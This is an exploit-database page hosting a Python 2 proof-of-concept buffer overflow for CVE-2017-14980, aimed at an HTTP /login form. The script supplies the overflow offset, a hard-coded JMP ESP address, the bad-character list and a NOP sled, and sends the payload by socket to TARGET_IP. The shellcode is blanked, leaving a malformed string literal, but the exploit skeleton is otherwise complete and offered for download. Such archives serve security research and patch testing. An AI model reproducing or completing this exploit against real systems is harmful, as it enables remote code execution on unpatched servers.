Exploit database

GH-22b26c946b8144f75b212279a0e29962

godoy-sec/cve-2017-14980

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-14980

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
godoy-sec/cve-2017-14980Revision 2ce2c3f0f9aa

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scripts/exploit.py

Python · 895 bytes
#!/usr/bin/python
import socket

# Python 2 Exploit

# JMP ESP address
# 0x10090c83

# Identified bad characters
# \x00\x0a\x0d\x25\x26\x2b\x3d

# Shellcode removed/censored
shellcode = ("
")

# Buffer structure
# A NOP sled ("\x90") was added before the shellcode to improve payload execution reliability.
dados = "A" * 520 + "\x83\x0c\x09\x10" + "\x90" * 15 + shellcode

tam = len(dados) + 20

# HTTP request used during exploit development
request="POST /login HTTP/1.0\r\n"
request+="Host: TARGET_IP\r\n"
request+="User-Agent: Research-Lab\r\n"
request+="Accept: */*\r\n"
request+="Content-Type: application/x-www-form-urlencoded\r\n"
request+="Content-Length: "+str(tam)+"\r\n"
request+="Connection: close\r\n"
request+="\r\n"
request+="username=test&password="+dados

# Socket communication
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("TARGET_IP",80))
s.send(request)